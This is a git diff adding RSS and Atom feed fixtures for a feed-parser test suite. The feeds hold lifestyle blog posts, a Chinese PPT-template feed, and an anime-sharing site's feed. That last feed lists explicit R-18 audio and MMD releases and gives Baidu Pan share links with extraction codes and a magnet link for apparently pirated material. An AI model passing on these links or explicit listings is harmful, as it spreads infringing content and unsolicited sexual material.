    +I’ve worn a variation of this very outfit almost every day while working from home. I recommend bike shorts for two reasons: in case halfway through the day you get the urge to do jumping jacks, and because wearing them almost feels like you’re not wearing pants at all. The other part of my WFH recipe includes a button-up. This one is on rotation because it reminds me of my dad. And if you know me, you know these boots. I don’t wear them at home, but damn do I miss how they feel on my feet.

    +

    Mallory

    +


    +I’m currently staying at a friend’s place, in a bedroom that is almost entirely different shades of green—it’s on the walls, carpet, bedding, etc. as you can sort-of see. It would be fair to say that this is my most compelling source of inspiration right now, since I have not seen much else in the material world for the past two or so weeks. Anyway, on deck we have my trusty A.P.C. cardigan, vintage Hawaiian-print shorts I purchased at Brimfield last year (which have a matching shirt I didn’t pack), and super-soft Hansel from Basel socks you can’t see, which I bought in just about every color during the holiday sale season. The only other thing I can imagine I’m drawing inspiration from here is that Simpsons meme where Homer disappears himself into the bushes.

    +

    Edith

    +


    +This morning, I got up early to write a draft of a story and then went for the briefest and clammiest of runs, after which I looked into my closet and thought it might be refreshing to see my form in something other than extreme loungewear. It was a thrill, and lovelier still, to wear something that’s been waiting out the winter in my closet, saving itself up for summer. A wrap dress is like a glorified robe, so it didn’t feel like a tremendous commitment. I was adamant that the socks match. This whole ensemble didn’t last long, though: It had the life span of a few professional tasks. I eventually set out to write another draft and wanted to exercise one of the perks of working, and therefore writing, from home, which is to type with your feet up. And that’s when my sweatpants found me crawling back to them.

    +
    + +
    + + +
    +
    +

    The post (Out of) Office Apropos: 5 Outfits We Wore Working From Home This Week appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/spring-out-of-office-apropos-2.html/feed + 32 +
    + + How Do You Take Your Morning Coffee? + https://www.manrepeller.com/2020/04/morning-coffee.html + https://www.manrepeller.com/2020/04/morning-coffee.html#comments + Thu, 02 Apr 2020 12:00:16 +0000 + + + + https://www.manrepeller.com/?p=206524 + Oh man. When I set out to write this ditty, née “Trust Me Try It: Coffeemate is the Greatest Coffee Mate,” there was a zero percent chance that I would not surmise the aforementioned really is the greatest coffee mate. That it’s the little things — like texture so creamy it flows seamlessly into your […]

    +

    The post How Do You Take Your Morning Coffee? appeared first on Man Repeller.

    +]]>
    + Oh man. When I set out to write this ditty, née “Trust Me Try It: Coffeemate is the Greatest Coffee Mate,” there was a zero percent chance that I would not surmise the aforementioned really is the greatest coffee mate. That it’s the little things — like texture so creamy it flows seamlessly into your cup as if a silk runner with wind blowing through it, flavor so sweet it soothes dark beans like a hug mid-quarrel. I had a cup sitting right next to me! The mate was swirling around — it looked like it was dancing, summoning my “come hither”: Bring your lips to the cup, it said. I will make you feel good.

    +

    +

    And that — feeling good in the most harmless, trivial, and quotidian way — is part of what I strive for these days. But guess what? It’s not harmless. The Coffeemate, I mean. I just learned that they’re embroiled in a lawsuit! I was fact-checking the ingredients, which are disgusting, which I already knew, (corn syrup is, like, the first listed item) only to discover that their asses are being sued because their bottles say there are 0g of trans fats in the product but significant traces of hydrogenated oils, which the FDA mandated are not safe for consumption in 2017, float among several flavors. What the actual fuck? Is this why I can never find it at the grocery store? I have not investigated deeper than a shallow string of google searches, the whole fiasco is nonetheless problematic for a number of reasons, the most unilateral among them that I am newly in possession of a 64 oz. pumping bottle to complement the morning hours of the month of April which will henceforth do no such complementing.

    +

    And to think, I had landed upon this fairly perfect equation of three parts oat milk, one part ‘mate. So before I continue, let me just say No. No. Coffeemate is not the greatest coffee mate. But the sentiment remains and if you, too, are in pursuit of the kind of quotidian good feeling that reinstates your faith in the notion that it really is the little things, there’s a way to take the principle of discovering a micro life upgrade and blend it into your routine. For now, I’m back to the drawing board. And specifically fixated on doing something to soup up my morning beverage—it’s what I look forward to most at the top of the day. So, should I take up Jasmin’s recommendation and get a frother? Commit myself implicitly to oat milk once again? Should I puree dates and mix it in? Toast coconut oil and make it a bullet?

    +

    How do you make your morning coffee? For the love of roasting beans, please, tell me! I’m newly in need of advice.

    +

    Feature photo by Heidi’s Bridge.

    +

    The post How Do You Take Your Morning Coffee? appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/morning-coffee.html/feed + 91 +
    + + Corona Sex Diaries: A Week in the Life of a “Very Celibate” New Yorker + https://www.manrepeller.com/2020/04/self-isolation-sex-diary.html + https://www.manrepeller.com/2020/04/self-isolation-sex-diary.html#comments + Wed, 01 Apr 2020 14:00:25 +0000 + + + + https://www.manrepeller.com/?p=206400 + I would not say my sex life was rip-roaring fun prior to the New York City-wide mandate of self-isolation. But now, to no one’s surprise, it’s a barren wasteland. Tumbleweeds. I guess the most ironic piece of this is that right before coronavirus started settling in, I was feeling better than I have in a […]

    +

    The post Corona Sex Diaries: A Week in the Life of a “Very Celibate” New Yorker appeared first on Man Repeller.

    +]]>
    + I would not say my sex life was rip-roaring fun prior to the New York City-wide mandate of self-isolation. But now, to no one’s surprise, it’s a barren wasteland. Tumbleweeds.

    +

    I guess the most ironic piece of this is that right before coronavirus started settling in, I was feeling better than I have in a while. After a long-term relationship ended in the fall—followed by some short-term dating adventures in the winter that also wrapped up anticlimactically—I had taken a few months to acquaint myself with what I wanted and who I am and what I’m looking for. As of a few days prior to self-isolation, I was ready to start dating again. I even had a conversation with my therapist about it.

    +

    Instead I’m here, now, slowly devolving with baked goods and repeat viewings of Tiger King. I work in digital media, and my work life has been demanding since the start of self-isolation, even just being in close proximity to news every day. I haven’t had a lot of brain space to think about sex, but I’ve somehow had more than enough to think about being alone. So, for better or for worse, I’m here to present to you: A week in the life of my celibacy.

    +
    +

    Monday

    +

    I’m writing this from the relatively early perspective of Week 2 of self-isolation, so right now I can say it’s so easy to not think about sex on a busy workday. Not sure if I’ll be singing that tune on Week 5. Luckily for me, the anxieties of our present crisis, compounded with my tenuous grip on reality, have me completely de-sexed today. An orgasm: One less thing for me to have to worry about. I finish work at 7pm, make myself a healthy dinner, and go for a walk in the cool evening. Rather than feel emotionally overwhelmed, I think of that time my ex [redacted] my [redacted]. I go home and take care of the situation myself with my vibrator of choice.

    +

    Tuesday

    +

    All right, so no, rip-roaring fun wasn’t exactly true for the past two months. I was sleeping with my ex. I was also sleeping with a woman. Since then, the woman has moved on to a woman who isn’t me. I see they’re quarantined together, according to Instagram. Witnessing it feels like a wound, but a wound of my own making. My ex has moved on to a life that doesn’t involve “me.” I still care about both of them. And both of them were great in bed. Sex doesn’t even cross my mind until right before I fall asleep. I think about previous lovers, but not in an intimate way, more in a fond way. Nothing arouses me in the moment. I miss intimacy. I miss embraces and fingers on skin. No telling when the next time is that I’ll have it.

    +

    Wednesday

    +

    In between watching Tiger King, I’m also watching High Maintenance. And something about the show just gets me hot. It could be the fact that it’s just genuinely good television. Or I could be into The Dude? I’m not sure. I pour myself a glass of wine right after I finish a particularly draining day of work that I feel lucky to have, and I pair it with Annie’s Mac n’ Cheese. I need to go to the grocery store again, but thinking about going these days gives me a lot of anxiety. I guess that’s the underlying theme of this sex diary. I end up pouring myself two more glasses of wine after streaming more episodes and am more tired than anything else so I scrap the idea of even attempting solo time. I swipe through Tinder for a while and feel completely blah. What’s even the point of talking to someone for weeks if you don’t know if you’ll like them when you meet in real life.

    +

    Thursday

    +

    I wake up HORNY. Like this. I guess that’s a delayed reaction from last night. I know that if I jump right into the news I’ll turn it off, but it’s nice to feel true, primal arousal, in a way that’s different from nostalgia or dull desire. Call it my weird thing but… I read erotic lit online. If I’m tired of relying on memory or disinterested in anything visual (most of the time), this is my go-to. I’ve always masturbated to words. I read a mediocre story about a man and a woman on a bus, weirdly, and it does the job. I don’t think about sex for the rest of the day, but the more I look at the Cuomo brothers the more I’m convinced I would [redacted]. You know when I write redacted it’s not the editors actually redacting, right? I’m sparing you.

    +

    Friday

    +

    A notoriously inappropriate boy I know from living abroad–with whom I haven’t spoken in years–slides into my DMs and says, “The big question is how many times are you doing it a day” with a wink emoji. I do not respond. But I do think about it. I guess my unsexy answer is once, if that? I always considered myself a pretty sexual person, but the mix of emotional stress and work anxiety has me at a new libido low. I look absently at my Hinge account and see that four people have liked me. I nix them all. I still don’t feel like this is the right time or place for fostering any kind of connection. I know others do. Some of my friends are chatting with people on the apps. Maybe they’ll go on walks, six feet apart. A part of me envies them for being able to try right now.

    +

    Saturday

    +

    Bored today and deeply craving gentle emotional intimacy. I know I can’t have the physical kind right now, so it makes me want to be soothed. I call my family members one by one, then FaceTime with my best friend, who lives in Manhattan and whom, obviously, I haven’t seen physically for weeks. I’d do anything to reach through the phone and give her a hug. I bake cookies from a cookbook my roommate owns and think about being held. I lie down to take a nap and curl around one of my pillows like it’s a body, thinking to myself that this isn’t even all that bad. Physical touch for the sake of physical touch doesn’t do much for me, anyway. I know when I’m out of this that I’ll need something primal and immediate, and I’ll settle for it. Afterwards, I’ll feel unfulfilled. When there’s tenderness, care, and respect behind touch, it means the world to me. I really wonder when I’ll find that again.

    +

    Graphics by Lorenza Centi.

    +

    The post Corona Sex Diaries: A Week in the Life of a “Very Celibate” New Yorker appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/self-isolation-sex-diary.html/feed + 15 +
    +
    +
    diff --git a/tests/feedlib/testdata/parser/well/http-www-pptmall-net-feed.xml b/tests/feedlib/testdata/parser/well/http-www-pptmall-net-feed.xml new file mode 100644 index 0000000..5a65e42 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/http-www-pptmall-net-feed.xml @@ -0,0 +1,519 @@ + + + + + + + PPTmall + + http://www.pptmall.net + 找真正好用的PPT模板和PPT素材 + Thu, 27 Feb 2020 15:43:06 +0000 + zh-CN + + hourly + + 1 + https://wordpress.org/?v=5.3.2 + + 起跑线上的女生视频素材背景标题左侧进入PPT动画模板素材下载 + http://www.pptmall.net/38431.html + Thu, 27 Feb 2020 15:40:26 +0000 + + + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38431 + + + + + 老旧地铁站视频动态背景PPT动画模板素材下载 + http://www.pptmall.net/38427.html + Thu, 27 Feb 2020 15:40:25 +0000 + + + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38427 + + + + + 吉他的视频动态背景PPT动画模板素材下载 + http://www.pptmall.net/38428.html + Thu, 27 Feb 2020 15:40:25 +0000 + + + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38428 + + + + + 相机镜头的视频动态背景PPT动画模板素材下载 + http://www.pptmall.net/38429.html + Thu, 27 Feb 2020 15:40:25 +0000 + + + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38429 + + + + + 可爱的白猫视频动态背景PPT动画模板素材下载 + http://www.pptmall.net/38430.html + Thu, 27 Feb 2020 15:40:25 +0000 + + + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38430 + + + + + 动态办公背景标题从左侧依次飞去PPT动画模板素材下载 + http://www.pptmall.net/38384.html + Thu, 27 Feb 2020 15:40:24 +0000 + + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38384 + + + + + 车水马龙的视频素材背景标题左侧进入PPT动画模板素材下载 + http://www.pptmall.net/38385.html + Thu, 27 Feb 2020 15:40:24 +0000 + + + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38385 + + + + + 城市夜晚的高空视频动态背景PPT动画模板素材下载 + http://www.pptmall.net/38426.html + Thu, 27 Feb 2020 15:40:24 +0000 + + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38426 + + + + + 倒计时MG转场PPT动画模板素材下载 + http://www.pptmall.net/38223.html + Thu, 27 Feb 2020 15:39:46 +0000 + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38223 + + + + + 竖向彩条揭开MG转场PPT动画模板素材下载 + http://www.pptmall.net/38181.html + Thu, 27 Feb 2020 15:39:39 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38181 + + + + + 横向彩条揭开MG转场PPT动画模板素材下载 + http://www.pptmall.net/38182.html + Thu, 27 Feb 2020 15:39:39 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38182 + + + + + 闭合MG转场PPT动画模板素材下载 + http://www.pptmall.net/38180.html + Thu, 27 Feb 2020 15:38:34 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38180 + + + + + 百叶窗向左揭开MG转场PPT动画模板素材下载 + http://www.pptmall.net/38176.html + Thu, 27 Feb 2020 15:38:33 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38176 + + + + + 百叶窗向下揭开MG转场PPT动画模板素材下载 + http://www.pptmall.net/38177.html + Thu, 27 Feb 2020 15:38:33 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38177 + + + + + 蜂窝出现MG转场PPT动画模板素材下载 + http://www.pptmall.net/38178.html + Thu, 27 Feb 2020 15:38:33 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38178 + + + + + 蜂窝消失MG转场PPT动画模板素材下载 + http://www.pptmall.net/38179.html + Thu, 27 Feb 2020 15:38:33 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38179 + + + + + 上下揭开MG转场PPT动画模板素材下载 + http://www.pptmall.net/38173.html + Thu, 27 Feb 2020 15:38:32 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38173 + + + + + 左右揭开MG转场PPT动画模板素材下载 + http://www.pptmall.net/38174.html + Thu, 27 Feb 2020 15:38:32 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38174 + + + + + 圆形缩放MG转场PPT动画模板素材下载 + http://www.pptmall.net/38175.html + Thu, 27 Feb 2020 15:38:32 +0000 + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38175 + + + + + 翻牌抽奖互动游戏PPT动画模板素材下载 + http://www.pptmall.net/38233.html + Thu, 27 Feb 2020 15:37:56 +0000 + + + + + + + + + + + + + + + + + + http://www.pptmall.net/?p=38233 + + + + + diff --git a/tests/feedlib/testdata/parser/well/https-cangku-moe-feed.xml b/tests/feedlib/testdata/parser/well/https-cangku-moe-feed.xml new file mode 100644 index 0000000..8b964a4 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/https-cangku-moe-feed.xml @@ -0,0 +1,232 @@ + + + + cangku Feed + + + https://cangku.moe/feed + + + https://cangku.moe/favicon.ico + 2020-04-06T21:12:23+08:00 + + + 天有一道 + + <![CDATA[[音乐分享][专辑][200405][RJ281443][【おっぱいず★】おっぱいは世界を救うのだ☆彡(私のエッチな歌で抜けぇぇー!シリーズ)][WAV+MP3]]]> + + https://cangku.moe/archives/177910 + 淦你O的OO百度

    一个从各种意义上来说都很神奇的作品

    可以算是...]]>

    + 淦你O的OO百度

    一个从各种意义上来说都很神奇的作品

    可以算是专辑

    主题是三首合唱小黄歌

    附带各种二人版本

    歌词在特典里可以查看

    十分色情

    然而以上都不是这个作品的关键

    这个作品最牛逼的是他特典附赠了个”图鉴“

    啥图鉴呢

    欧派芒果图鉴

    这就很NB了

    具体也不介绍了,有兴趣的下下来看看就知道了

    RJ281443_img_main.jpg


    社团名紙芝居屋さん十八軒目
    贩卖日2020年04月05日 0点
    系列名私のエッチな歌で抜けぇぇー!
    剧情ポポロン
    插画Re:しましま / YU-TA / たこらいす / シャンタン / Gの閃光
    声优結姫うさぎ / 美吹ゆうさ / 砂糖しお / 浅木式 / 綾奈まりあ
    音乐DJ.OKINAWA / あやか
    年龄指定18禁
    作品形式音乐有声音
    文件形式WAV / MP3同梱 / HTML
    其他日语作品
    分类学校/学园傲娇萝莉女教师大小姐艺人/偶像/模特
    文件容量合计 2.31GB

    作品内容


    作品内容

    【おっぱいず★】おっぱいは世界を救うのだ☆彡(私のエッチな歌で抜けぇぇー!シリーズ) [紙芝居屋さん十八軒目]

    ■収録内容

    ・おっぱいは世界を救うのだ☆彡
    ・母乳の詩~母性は原初のエロス~
    ・おっぱいず★の早口言葉

    ・みんなでおちんちんしゃぶりながら歌ってア・ゲ・ル! (おっぱいは世界を救うのだ☆彡)
    ・おちんちんしゃぶりながら歌ってア・ゲ・ル! -各キャラver- (おっぱいは世界を救うのだ☆彡)
    ・みんなで授乳手コキしながら歌ってア・ゲ・ル! (母乳の詩~母性は原初のエロス~)
    ・授乳手コキしながら歌ってア・ゲ・ル! -各キャラver- (母乳の詩~母性は原初のエロス~)
    ・二人で授乳手コキしながら歌ってア・ゲ・ル! -各キャラver- (母乳の詩~母性は原初のエロス~)

    ・おっぱいは世界を救うのだ☆彡 -各キャラver-
    ・母乳の詩~母性は原初のエロス~ -各キャラver-
    ・おちんちんしゃぶりながら歌ってア・ゲ・ル! -各キャラver- (おっぱいは世界を救うのだ☆彡)アカペラ版

    ・おっぱいは世界を救うのだ☆彡 (off vocal)
    ・母乳の詩~母性は原初のエロス~ (off vocal)
    ・おっぱいず★の早口言葉 (off vocal)

    ■デビュー記念特典

    ◇おっぱい図鑑(HTMLコンテンツ)※18禁
    ページ数は56ページ、音声の総再生時間は1時間を超える大型の特典コンテンツです。

    ◇おっぱいず★キャラクターズプロファイル(HTMLコンテンツ)※全年齢
    おっぱいずのメンバーをさらに詳しく知ることができるコンテンツです。
    音声の総再生時間は25分程度です。

    ◇ジャケットイラスト おっぱい差分※18禁
    ◇イメージイラスト
    ◇歌詞カード

    ◆プロモーションビデオ
    https://www.youtube.com/watch?v=ZkfjPbX1NgU&feature=youtu.be

    ◆紙芝居屋さん十八件目 Twitter
    https://twitter.com/kamishibaiyasan

    おっぱいず★

    • 【おっぱいず★】おっぱいは世界を救うのだ☆彡(私のエッチな歌で抜けぇぇー!シリーズ) [紙芝居屋さん十八軒目]

      ■桜 ひまわり
      CV:砂糖しお

      ・おっぱい学院 ○乳部○年
      ・AAAカップ
      ・吹奏楽部員
      ・声優
      ・実家は声優事務所

      ◆「恋愛サーキュレーション」歌ってみた!
      https://www.youtube.com/watch?v=hul7VZpkWc8&feature=youtu.be

    • 【おっぱいず★】おっぱいは世界を救うのだ☆彡(私のエッチな歌で抜けぇぇー!シリーズ) [紙芝居屋さん十八軒目]

      ■五十嵐 一女
      CV:綾奈まりあ

      ・おっぱい学院 ○乳部2年
      ・Bカップ
      ・実家は戦後最大勢力を誇った
      極道の家
      ・ボーイッシュ
      ・スポーツ万能

    • 【おっぱいず★】おっぱいは世界を救うのだ☆彡(私のエッチな歌で抜けぇぇー!シリーズ) [紙芝居屋さん十八軒目]

      ■神乳院 ももか
      CV:浅木式

      ・おっぱい学院 高乳部3年
      ・Kカップ
      ・将棋のプロ棋士
      ・実家は神話を起源とする家柄
      ・お嬢様

    私のエッチな歌で抜けぇぇー!シリーズ

    【おっぱいず★】おっぱいは世界を救うのだ☆彡(私のエッチな歌で抜けぇぇー!シリーズ) [紙芝居屋さん十八軒目]


    楽曲リスト

    • おっぱいは世界を救うのだ☆彡
      4:42
    • 母乳の詩~母性は原初のエロス~
      3:09
    • おっぱいず★の早口言葉
      4:36
    • みんなでおちんちんしゃぶりながら歌ってア・ゲ・ル! (おっぱいは世界を救うのだ☆彡)
      5:34
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -アスカver- (おっぱいは世界を救うのだ☆彡)
      6:28
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -美琴ver- (おっぱいは世界を救うのだ☆彡)
      6:03
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -ひまわりver- (おっぱいは世界を救うのだ☆彡)
      6:02
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -一女ver- (おっぱいは世界を救うのだ☆彡)
      5:48
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -ももかver- (おっぱいは世界を救うのだ☆彡)
      5:57
    • みんなで授乳手コキしながら歌ってア・ゲ・ル! (母乳の詩~母性は原初のエロス~)
      3:12
    • 授乳手コキしながら歌ってア・ゲ・ル! -アスカver- (母乳の詩~母性は原初のエロス~)
      3:48
    • 授乳手コキしながら歌ってア・ゲ・ル! -美琴ver- (母乳の詩~母性は原初のエロス~)
      3:48
    • 授乳手コキしながら歌ってア・ゲ・ル! -ひまわりver- (母乳の詩~母性は原初のエロス~)
      3:48
    • 授乳手コキしながら歌ってア・ゲ・ル! -一女ver- (母乳の詩~母性は原初のエロス~)
      3:45
    • 授乳手コキしながら歌ってア・ゲ・ル! -ももかver- (母乳の詩~母性は原初のエロス~)
      3:48
    • 二人で授乳手コキしながら歌ってア・ゲ・ル! -アスカ&美琴ver- (母乳の詩~母性は原初のエロス~)
      3:11
    • 二人で授乳手コキしながら歌ってア・ゲ・ル! -美琴&ひまわりver- (母乳の詩~母性は原初のエロス~)
      3:11
    • 二人で授乳手コキしながら歌ってア・ゲ・ル! -ひまわり&一女ver- (母乳の詩~母性は原初のエロス~)
      3:11
    • 二人で授乳手コキしながら歌ってア・ゲ・ル! -一女&ももかver- (母乳の詩~母性は原初のエロス~)
      3:11
    • 二人で授乳手コキしながら歌ってア・ゲ・ル! -ももか&アスカver- (母乳の詩~母性は原初のエロス~)
      3:11
    • おっぱいは世界を救うのだ☆彡 -各キャラver-
      各4:42
    • 母乳の詩~母性は原初のエロス~ -各キャラver-
      各3:48
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -アスカver- (おっぱいは世界を救うのだ☆彡)アカペラ版
      6:28
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -美琴ver- (おっぱいは世界を救うのだ☆彡)アカペラ版
      6:14
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -ひまわりver- (おっぱいは世界を救うのだ☆彡)アカペラ版
      6:02
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -一女ver- (おっぱいは世界を救うのだ☆彡)アカペラ版
      5:57
    • おちんちんしゃぶりながら歌ってア・ゲ・ル! -ももかver- (おっぱいは世界を救うのだ☆彡)アカペラ版
      6:00
    • おっぱいは世界を救うのだ☆彡 (off vocal)
      4:42
    • 母乳の詩~母性は原初のエロス~ (off vocal)
      3:09
    • おっぱいず★の早口言葉 (off vocal)
      4:27

    おっぱい図鑑

    【おっぱいず★】おっぱいは世界を救うのだ☆彡(私のエッチな歌で抜けぇぇー!シリーズ) [紙芝居屋さん十八軒目]

    ■おっぱい図鑑とは

    おっぱいず★をモデルに迎えた「女の子のカラダ」図鑑です。
    (HTMLコンテンツです)

    ■収録内容

    ・乳房の種類
    ・乳首の種類
    ・様々な乳首の勃起
    ・乳房の柔軟性
    ・様々な乳房の搾乳
    ・母乳の種類
    ・女性器の種類
    ・様々な子宮
    ・様々なアナル

    ■おっぱい図鑑PV
    https://kamishibai18.jp/oppaizukan.html

    ■鑑賞方法
    ・PCからご覧になる場合はGoogle ChromeかFirefoxを推奨します。

    ※環境によっては正常に動作しない場合もあります。

    特典のHTMLコンテンツについてはブラウザ視聴は不可となっております。


    [dlbox title="OO度娘盘" time="200406" info="提取:莫得 / 密码:Accelerator" from="自购" link1="O死度娘|https://pan.baidu.com/s/17wZNW4oUiUFDl6vE7Pkt6Q"][/dlbox]

    ]]>
    + 2020-04-06 21:12:23 +
    + + + 黑日[愚者] + + <![CDATA[[本子分享][自家発電処 (flanvia)] 穴とむっつりどすけべだいとしょかん (東方Project) [嗶咔嗶咔漢化組] [DL版]]]> + + https://cangku.moe/archives/177930 + WHtB9.jp...]]></summary>
+      <content type=WHtB9.jpg

    WHqsS.jpg

    WHclD.jpg


    WHE5e.jpg

    [GalACG]EX792327214

    ☣解压码获取☣

    [dlbox title="黑日" time="" info="提取:a2ps" from="黑日 " link1="黑日|https://pan.baidu.com/s/1PILT_y2sKwJRQL1lIKIz8w"][/dlbox]

    ]]> + 2020-04-06 21:05:58 + + + + ꧁ৡৢ貓娘情人 + + <![CDATA[[学习资源][雨林木风]原子弹制作之入门到入土[包含准备工程与安全事项][已补档]]]> + + https://cangku.moe/archives/177928 + 看了看仓库都有很多日语绘画等等的学习资源惹,就连看了看仓库都有很多日语绘画等等的学习资源惹,就连历史文学都有大佬发了金瓶梅。可物理领域还是无人问津,那么,就由我来做这第一人吧。

    部分预览:8d6c5e8e3642a869ad0096bbcc2a9836.png


    [dlbox title="加油吧,仓库十字军们,我们要做祖国的栋梁" time="2020-04-06" info="提取:1rgw / 密码:猫娘情人" from="雨林木风" link1="加油,宝贝们|https://pan.baidu.com/s/1XjsN2dqTDTcXYi4jjvYOVQ"][/dlbox]

    ]]> + 2020-04-06 20:48:05 + + + + 漫游火焰 + + <![CDATA[[动画分享][合集][加刘景长压制RAWS&ViuTV官方字幕] 异世界魔王与召唤少女的奴隶魔术 [01-12话][BDrip][繁中外挂字幕][1080P][MKV]]]> + + https://cangku.moe/archives/177927 + -02-018932419b765c8a0b.gif


    -06-.gif

    -04.mkv_20200406_200716.577.jpg

    -10.mkv_20200406_200117.339.jpg

    剧情简介:

           坂本拓真,MMPRPG“Cross Reverie”之中被其他玩家视为“魔王“的人物。有一天,他竟然以游戏中的身份被召唤至异世界,遇到了两个坚称自己才是“召唤主”的少女。两名少女对拓真施展驯服召唤兽的奴隶法术,却因此启动了拓真的特殊能力“魔术反射”,变成奴隶的人反而是两名少女!这下子拓真可伤脑筋了,他虽然是最强的魔术师,却完全没有沟通能力,最后竟然在自暴自弃的情况下借用游戏中的经典台词。“我很强?那当然,我可是Diablo…众人口中的魔王!”即将震撼全世界的魔王(假的)以绝对强大的力量勇闯异世界的冒险物语,正式登场!

    [iframe]https://music.163.com/#/program?id=1370331918[/iframe]

    [dlbox title="度娘(双重压缩包,解压后需要加rar后缀)" time="2020-04-06" info="提取:0t84 / 密码:gmgard.com" from="动漫花园" link1="百度网盘|https://pan.baidu.com/s/1mEd410bL8zUF47Io2nDeNQ" link2="磁力链接|magnet:?xt=urn:btih:63C778B8F17A48553223AEAE7FCDB4F9FD6A2456"][/dlbox]

    ]]> + 2020-04-06 20:23:09 + + + + 呀吼吼吼吼 + + <![CDATA[[MMD][R-18] RMDB 目前全部作品(清明假期版)5.63GB]]> + + https://cangku.moe/archives/177926 + 分卷警告!分卷警告!https://cangku.moe/archives/169303  分卷食用教程这里面有

    又是新大佬,下午给了回信,又搞到一个转载权。这个大佬的角色主要是舰C角色,个人感觉可以(虽然我不玩舰C)

    社,社就完了

    https://www.iwara.tv/users/rmdb  作者主页

    14a9cf9a184c5fc6fc2f1df1b2c97462.png
    c77f604fa51734c866e3b7e8d190f55f.png

    c4ee0cb00208b28d10e2a2bc4f283b22.png


    224268838cc115322ab65f5902c6f3dc.png

    我再重申一遍,你们要的以前MMD补档,都在过年那几个合集里,过年那几个合集,过年那几个合集过年那几个合集过年那几个合集 你们再不看我也没办法

    9f1265b6e4947ccb083db2786ee5bf93.jpg 

    1251679ddd8dea876e675a3142f4c9d1.jpg 

    链接: https://pan.baidu.com/s/1q30TCQURuiKscDzvY_91EQ 提取码: pnv8

    ☣解压码获取☣

    ]]> + 2020-04-06 20:06:21 + + + + 呀吼吼吼吼 + + <![CDATA[[MMD][R-18] benggugu 6部目前全部作品758MB]]> + + https://cangku.moe/archives/177924 + 早上刚找的新大佬,是国人,很简单就要到了转载权,虽说可能有点粗糙,但是还有进步空间=-=

    早上刚找的新大佬,是国人,很简单就要到了转载权,虽说可能有点粗糙,但是还有进步空间=-=

    f10843fd0f56dcf9ae372163c58c0a36.png

    47ebf631673d1e38a1a0ddc7e09c8447.png

    ebb9b7c8fb7d631b0d2cec2246e0560e.png

    8905e6bce071d59036626f32b5a9fd9f.png

    7e1ba95fefef0784e266144db8b1b4fc.png


    630a52b7e2ec01291e44d9f754015021.png

    https://www.iwara.tv/users/bengugu  大佬主页

    我再重申一遍,你们要的以前MMD补档,都在过年那几个合集里,过年那几个合集,过年那几个合集过年那几个合集过年那几个合集 你们再不看我也没办法


    77e4c26a01541da4ebdb6b5d1c545209.jpg

    9d98d14885be58d5557cffe31496527a.jpg

    链接: https://pan.baidu.com/s/1KxnohMjUccTsAXCs6VRvEw 提取码: amcs

    ☣解压码获取☣

    ]]> + 2020-04-06 19:57:00 + + + + 呀吼吼吼吼 + + <![CDATA[[MMD][R-18] goutouren四部(清明假期版)]]> + + https://cangku.moe/archives/177923 + 虫大佬的近期四部MMD,四部里面有两个虫子的。啊,你们的最爱


    虫大佬的近期四部MMD,四部里面有两个虫子的。啊,你们的最爱


    aff99f8c22e627cac58a6fe3c8f1e61f.png


    6c6dad97ffd581c6d3cb4fc672a7b8c1.pngb999fc23fa2354e8fc9c123953595aad.png


    df2c7bd89b9b15a1d99be2571818f52d.png

    我再重申一遍,你们要的以前MMD补档,都在过年那几个合集里,过年那几个合集,过年那几个合集过年那几个合集过年那几个合集 你们再不看我也没办法

    9f1265b6e4947ccb083db2786ee5bf93.jpg

    1251679ddd8dea876e675a3142f4c9d1.jpg

    链接: https://pan.baidu.com/s/1FKW1ixekljplKl-in1NgKw 提取码: 6a88

    ☣解压码获取☣


    ]]> + 2020-04-06 19:47:50 + + + + 呀吼吼吼吼 + + <![CDATA[[MMD][R-18] 独りんぼエンヴィーby zekamashi7]]> + + https://cangku.moe/archives/177922 + 跳舞的MMD大佬,上次你们看的阿库娅的就是这个大佬的,但是以后还有没有vtb的不确定

    跳舞的MMD大佬,上次你们看的阿库娅的就是这个大佬的,但是以后还有没有vtb的不确定

    4d56d1d9c9fa5bad2fbef50aad7ab86a.png

    我再重申一遍,你们要的以前MMD补档,都在过年那几个合集里,过年那几个合集,过年那几个合集过年那几个合集过年那几个合集 你们再不看我也没办法


    4f9df3ca4a42b3a19591954a23d1998f.jpg

    343de1be16e44fb32fa41a6c984e93e2.jpg

    链接: https://pan.baidu.com/s/1pLFTH07DlC-u_o9bLMxC0Q 提取码: 9pe3

    ☣解压码获取☣

    ]]> + 2020-04-06 19:36:28 + + + + 云姬 + + <![CDATA[[MMD]AutumnJelly 合集 10G 37个打包 (by AutumnJelly )]]> + + https://cangku.moe/archives/177921 +

    8e4f014a485f4deaee26418dbd9b07a7.jpg

    f7591b1a4435ea10eff482fb9651a366.jpg

